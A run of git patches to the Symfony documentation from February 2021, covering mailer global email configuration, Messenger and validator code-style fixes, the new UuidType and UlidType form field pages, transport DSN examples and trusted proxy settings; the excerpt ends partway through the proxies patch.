     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. See the :ref:`configuration-framework-http_method_override` option.
+    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    option must be enabled for this to work.
 
 Changing the Form Name
 ~~~~~~~~~~~~~~~~~~~~~~

From 6b35baff53bc705452250cee5d2d24640a915024 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 7 Feb 2021 14:46:17 +0100
Subject: [PATCH 1819/7107] Document the way to configure emails globally

---
 mailer.rst | 78 ++++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 76 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 9c9c1451add..89be86382a4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -320,8 +320,7 @@ both strings or address objects::
 .. tip::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
-    create an :doc:`event subscriber </event_dispatcher>` and listen to the
-    :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the
     same ``From`` email to all messages.
 
 .. note::
@@ -373,6 +372,12 @@ header, etc.) but most of the times you'll set text headers::
         // ...
     ;
 
+.. tip::
+
+    Instead of calling ``->addTextHeader()`` *every* time you create a new email, you can
+    :ref:`configure emails globally <mailer-configure-email-globally>` to set the same
+    headers to all sent emails.
+
 Message Contents
 ~~~~~~~~~~~~~~~~
 
@@ -448,6 +453,75 @@ images inside the HTML contents::
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;
 
+.. _mailer-configure-email-globally:
+
+Configuring Emails Globally
+---------------------------
+
+Instead of calling ``->from()`` on each Email you create, you can configure this
+value globally so that it is set on all sent emails. The same is true with ``->to()``
+and headers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/dev/mailer.yaml
+        framework:
+            mailer:
+                envelope:
+                    sender: 'fabien@example.com'
+                    recipients: ['foo@example.com', 'bar@example.com']
+                headers:
+                    from: 'Fabien <fabien@example.com>'
+                    bcc: 'baz@example.com'
+                    X-Custom-Header: 'foobar'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <framework:recipients>foo@example.com</framework:recipients>
+                        <framework:recipients>bar@example.com</framework:recipients>
+                    </framework:envelope>
+                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="X-Custom-Header">foobar</framework:header>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            // ...
+            'mailer' => [
+                'envelope' => [
+                    'sender' => 'fabien@example.com',
+                    'recipients' => ['foo@example.com', 'bar@example.com'],
+                ],
+                'headers' => [
+                    'from' => 'Fabien <fabien@example.com>',
+                    'bcc' => 'baz@example.com',
+                    'X-Custom-Header' => 'foobar',
+                ],
+            ],
+        ]);
+
+
 Handling Sending Failures
 -------------------------
 

From 3b1c006d0d60fe4bb00fefff93cbbbc17cb63d4b Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Feb 2021 18:36:19 +0100
Subject: [PATCH 1820/7107] [CS] Add comma after last array item in multi-line
 array

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2947f18cb68..83b7d59dff4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -188,7 +188,7 @@ that uses this configuration:
                     // or expanded to configure more options
                     'async' => [
                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                       'options' => []
+                       'options' => [],
                     ],
                 ],
             ],

From 4c041bc7374cfa66cedc172efd6acd4857db1704 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Feb 2021 09:11:38 +0100
Subject: [PATCH 1821/7107] Added the versionadded directive

---
 mailer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 89be86382a4..ed2e0ccf041 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -521,6 +521,9 @@ and headers.
             ],
         ]);
 
+.. versionadded:: 5.2
+
+    The ``headers`` option was introduced in Symfony 5.2.
 
 Handling Sending Failures
 -------------------------

From 98d97b0a575c67dcd30e1f77117aca446d376511 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 9 Feb 2021 19:56:46 +0100
Subject: [PATCH 1822/7107] [Messenger][CS] Add missing commas in PHP
 configurations

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 83b7d59dff4..7f13eb0f4b0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -975,8 +975,8 @@ The transport has a number of options:
                     'async_priority_low' => [
                         'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
                         'options' => [
-                            'queue_name' => 'normal_priority'
-                        ]
+                            'queue_name' => 'normal_priority',
+                        ],
                     ],
                 ],
             ],
@@ -1445,8 +1445,8 @@ Then, make sure to "route" your message to *both* transports:
                     'image_transport' => '...',
                 ],
                 'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal']
-                ]
+                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal'],
+                ],
             ],
         ]);
 

From 336d8ae4d028b2e3b4967924d737d7b11f965cbc Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 19:57:07 +0100
Subject: [PATCH 1823/7107] [Validator] Use single quotes for a string

---
 validation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/validation.rst b/validation.rst
index ab81c528462..55d0c6aaed5 100644
--- a/validation.rst
+++ b/validation.rst
@@ -298,7 +298,7 @@ rules). In order to validate an object, simply map one or more constraints
 to its class and then pass it to the ``validator`` service.
 
 Behind the scenes, a constraint is simply a PHP object that makes an assertive
-statement. In real life, a constraint could be: 'The cake must not be burned'.
+statement. In real life, a constraint could be: ``'The cake must not be burned'``.
 In Symfony, constraints are similar: they are assertions that a condition
 is true. Given a value, a constraint will tell you if that value
 adheres to the rules of the constraint.
@@ -342,7 +342,7 @@ literature genre mostly associated with the author, which can be set to either
         {
             /**
              * @Assert\Choice(
-             *     choices = { "fiction", "non-fiction" },
+             *     choices = {"fiction", "non-fiction"},
              *     message = "Choose a valid genre."
              * )
              */
@@ -509,7 +509,7 @@ of the form fields::
         $builder
             ->add('myField', TextType::class, [
                 'required' => true,
-                'constraints' => [new Length(['min' => 3])]
+                'constraints' => [new Length(['min' => 3])],
             ])
         ;
     }
@@ -606,7 +606,7 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(["min" => 3])
+                    new Assert\Length(['min' => 3])
                 );
             }
         }

From eee0223c0de7d0c036ed9fe5872d2127888fb7d6 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 9 Feb 2021 20:01:01 +0100
Subject: [PATCH 1824/7107] [Messenger][CS] Add missing comma in PHP
 configuration

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a6e64d8f94e..8a527c43c65 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -899,7 +899,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
                         'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
                         'options' => [
                             'auto_setup' => false,
-                        ]
+                        ],
                     ],
                 ],
             ],

From 918671aebe8e95e75de35ddb0f963c5e915ca5f7 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:02:25 +0100
Subject: [PATCH 1825/7107] [Validator] Add a comma after the last array item
 in a multi-line array

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index cd25bec0653..8cee65108b8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -88,7 +88,7 @@ Validation of arrays is possible using the ``Collection`` constraint::
                 new Assert\Collection([
                     'slug' => [
                         new Assert\NotBlank(),
-                        new Assert\Type(['type' => 'string'])
+                        new Assert\Type(['type' => 'string']),
                     ],
                     'label' => [
                         new Assert\NotBlank(),

From 30f7d5f28754a7ab5d83eaec76e7bafca5c1caff Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:12:31 +0100
Subject: [PATCH 1826/7107] [Validator] Add a missing namespace and use

---
 validation/custom_constraint.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3cebc7a0c72..5ebd2f659d1 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -228,6 +228,11 @@ not to the property:
 
     .. code-block:: php-annotations
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        
         /**
          * @AcmeAssert\ProtocolClass
          */

From 5df61fdfc234a4c956e3329fd9bced53c2d2d00f Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 9 Feb 2021 20:15:55 +0100
Subject: [PATCH 1827/7107] [Validator] Add a missing namespace and use

---
 validation/custom_constraint.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9cecde12b8a..468342ea5bd 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -285,6 +285,11 @@ not to the property:
 
     .. code-block:: php-attributes
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+
         #[AcmeAssert\ProtocolClass]
         class AcmeEntity
         {

From c8ad12291ffac5f8d58e8318b3b4048c4bb14b4c Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Wed, 10 Feb 2021 07:03:56 -0500
Subject: [PATCH 1828/7107] updating config for postcss-loader v4

---
 frontend/encore/postcss.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..d2322b14032 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -43,13 +43,14 @@ You can also pass options to the `postcss-loader`_ by passing a callback:
 .. code-block:: diff
 
     // webpack.config.js
+    + const path = require('path');
 
     Encore
         // ...
     +     .enablePostCssLoader((options) => {
-    +         options.config = {
+    +         options.postcssOptions = {
     +             // the directory where the postcss.config.js file is stored
-    +             path: 'path/to/config'
+    +             config: path.resolve(__dirname, 'sub-dir', 'custom.config.js'),
     +         };
     +     })
     ;

From 0fcfccadc6d0a323321437af607f91bf817f4068 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Feb 2021 18:56:31 +0100
Subject: [PATCH 1829/7107] [Messenger] Remove duplicated AMQP transport option

The confirm_timeout option (introduced in Symfony 5.2) has been documented twice. I left the first version which is closest to the documentation available in the Symfony\Component\Messenger\Bridge\Amqp\Transport\Connection class.
---
 messenger.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 625a1bfb743..49058d4d3e4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -971,9 +971,6 @@ The transport has a number of options:
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
                                               May be fractional.
-``confirm_timeout``                           Number of seconds to wait for message sending
-                                              confirmation. If not specified, transport won't
-                                              wait for confirmation. May be fractional.
 ``frame_max``                                 The largest frame size that the server proposes
                                               for the connection, including frame header and
                                               end-byte. 0 means standard extension limit

From 78a6c7764bb30d4682cc7f32854840358e6fafb3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 09:23:49 +0100
Subject: [PATCH 1830/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 49058d4d3e4..0e69f3e11ff 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -965,8 +965,8 @@ The transport has a number of options:
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server
                                               permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation, if none
-                                              specified transport will not wait for message
+``confirm_timeout``                           Timeout in seconds for confirmation; if none
+                                              specified, transport will not wait for message
                                               confirmation. Note: 0 or greater seconds. May be
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.

From 6c790bc5bfc91573cd166c722f51e9ec7ea5dae2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 11:17:36 +0100
Subject: [PATCH 1831/7107] [Form] Document the new Uuid and Ulid form types

---
 components/uid.rst                |  4 ++
 reference/forms/types.rst         |  3 +
 reference/forms/types/map.rst.inc |  6 ++
 reference/forms/types/ulid.rst    | 98 +++++++++++++++++++++++++++++++
 reference/forms/types/uuid.rst    | 98 +++++++++++++++++++++++++++++++
 5 files changed, 209 insertions(+)
 create mode 100644 reference/forms/types/ulid.rst
 create mode 100644 reference/forms/types/uuid.rst

diff --git a/components/uid.rst b/components/uid.rst
index e84b7296fad..49ccac839a7 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -21,6 +21,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
+.. _uuid:
+
 UUIDs
 -----
 
@@ -214,6 +216,8 @@ of the UUID parameters::
         }
     }
 
+.. _ulid:
+
 ULIDs
 -----
 
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 49d769c8967..61ff1b5bf86 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -41,6 +41,9 @@ Form Types Reference
    types/file
    types/radio
 
+   types/uuid
+   types/ulid
+
    types/collection
    types/repeated
 
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..8171c836a4d 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -43,6 +43,12 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
+
 Field Groups
 ~~~~~~~~~~~~
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
new file mode 100644
index 00000000000..26ffa1856e2
--- /dev/null
+++ b/reference/forms/types/ulid.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UlidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UlidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the ULID string value and transforms it back to
+a proper :ref:`Ulid object <ulid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | (none)                                                                |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid ULID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UlidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :end-before: DEFAULT_PLACEHOLDER
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :start-after: DEFAULT_PLACEHOLDER
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
new file mode 100644
index 00000000000..dd478140ba9
--- /dev/null
+++ b/reference/forms/types/uuid.rst
@@ -0,0 +1,98 @@
+.. index::
+   single: Forms; Fields; UuidType
+
+UuidType Field
+==============
+
+.. versionadded:: 5.3
+
+    The ``UuidType`` field was introduced in Symfony 5.3.
+
+Renders an input text field with the UUID string value and transforms it back to
+a proper :ref:`Uuid object <uuid>` when submitting the form.
+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | (none)                                                                |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid UUID.                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\UuidType`    |
++---------------------------+-----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/compound_type.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :end-before: DEFAULT_PLACEHOLDER
+
+The default value is ``''`` (the empty string).
+
+.. include:: /reference/forms/types/options/empty_data.rst.inc
+    :start-after: DEFAULT_PLACEHOLDER
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc

From 37319d7f4e3b82b866d43ba2bb448a5a4f11d8e3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 12:10:35 +0100
Subject: [PATCH 1832/7107] [Messenger] Fixed the MESSENGER_TRANSPORT_DSN
 example

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0e69f3e11ff..281c31fa235 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1327,7 +1327,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=https://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/123456789012/messages
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key= AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::

From de411c431119a81afa63af5e804329810de16d14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Feb 2021 13:30:01 +0100
Subject: [PATCH 1833/7107] [Session] Remove some unneeded example

---
 session.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/session.rst b/session.rst
index 8d465516a58..fb9bb81cd8a 100644
--- a/session.rst
+++ b/session.rst
@@ -196,22 +196,6 @@ the existence of data in the session. This may hurt your application performance
 because all users will receive a session cookie. In order to prevent that, you
 must *completely* avoid accessing the session.
 
-For example, if your templates include some code to display the
-:ref:`flash messages <flash-messages>`, sessions will start even if the user
-is not logged in and even if you haven't created any flash messages. To avoid
-this behavior, add a check before trying to access the flash messages:
-
-.. code-block:: html+twig
-
-    {# this check prevents starting a session when there are no flash messages #}
-    {% if app.request.hasPreviousSession %}
-        {% for message in app.flashes('notice') %}
-            <div class="flash-notice">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endif %}
-
 More about Sessions
 -------------------
 

From 243d84b030e6fbbc09bdc447bd01c6f49fc7d777 Mon Sep 17 00:00:00 2001
From: Johann Pardanaud <pardanaud.j@gmail.com>
Date: Thu, 11 Feb 2021 16:33:02 +0100
Subject: [PATCH 1834/7107] [Messenger] Document DSN format for Redis Cluster

---
 messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index c53044e588d..edcd236f2c3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1190,6 +1190,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
     MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    # Redis Cluster Example
+    MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
 

From 5b04647263b09dc888edb0bff2ff7717ff3cc497 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Thu, 11 Feb 2021 18:39:58 +0100
Subject: [PATCH 1835/7107] [Mercure] Make the command compatible with ZSH

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 527833e2f7e..f32e8eee6a8 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -75,7 +75,7 @@ On Linux and Mac, run the following command to start it:
 
 .. rst-class:: command-linux
 
-    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY="!ChangeMe!" MERCURE_SUBSCRIBER_JWT_KEY="!ChangeMe!" ./mercure run -config Caddyfile.dev
+    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!' MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!' ./mercure run -config Caddyfile.dev
 
 On Windows run:
 

From 036d01bdcdd847d4503ae4647833b8c02ecfb52e Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 11 Feb 2021 18:39:53 +0100
Subject: [PATCH 1836/7107] [Messenger][CS] Add missing commas

I discovered two more examples where a comma is missing after the last array item in a multi-line array.
---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7f13eb0f4b0..0ee914216ca 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -859,7 +859,7 @@ your Envelope::
 
     $attributes = [];
     $bus->dispatch(new SmsNotification(), [
-        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes)
+        new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
 .. caution::
@@ -1483,12 +1483,12 @@ to your message::
     {
         $bus->dispatch(new SmsNotification('...'), [
             // wait 5 seconds before processing
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]);
 
         // or explicitly create an Envelope
         $bus->dispatch(new Envelope(new SmsNotification('...'), [
-            new DelayStamp(5000)
+            new DelayStamp(5000),
         ]));
 
         // ...

From 756b7734d676a1edc47611899a56d7e1a9726d1d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 12 Feb 2021 06:49:37 +0100
Subject: [PATCH 1837/7107] [Messenger] Fix grammar issue

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 0e69f3e11ff..d4929f1659d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1100,7 +1100,7 @@ Beanstalkd Transport
 
     The Beanstalkd transport was introduced in Symfony 5.2.
 
-The Beanstalkd transports sends messages directly to a Beanstalkd work queue. Install
+The Beanstalkd transport sends messages directly to a Beanstalkd work queue. Install
 it by running:
 
 .. code-block:: terminal

From 5e1aaeca8f25fcdfb4c2b0fc0262450ffdc21bcc Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 12 Feb 2021 09:45:29 +0100
Subject: [PATCH 1838/7107] fix the trusted proxies configuration

---
 deployment/proxies.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 95d1ddfd0c9..9b6821e3f79 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -33,13 +33,13 @@ and what headers your reverse proxy uses to send information:
             # ...
             // the IP address (or range) of your proxy
             trusted_proxies: '192.0.0.1,10.0.0.0/8'
-            // trust *all* "X-Forwarded-*" headers (the ! prefix means to not trust those headers)
-            trusted_headers: ['x-forwarded-all', '!x-forwarded-host', '!x-forwarded-prefix']
+            // trust *all* "X-Forwarded-*" headers
+            trusted_headers: ['x-forwarded-for', 'x-forwarded-host', 'x-forwarded-proto', 'x-forwarded-port']
             // or, if your proxy instead uses the "Forwarded" header
-            trusted_headers: ['forwarded', '!x-forwarded-host', '!x-forwarded-prefix']
+            trusted_headers: ['forwarded']
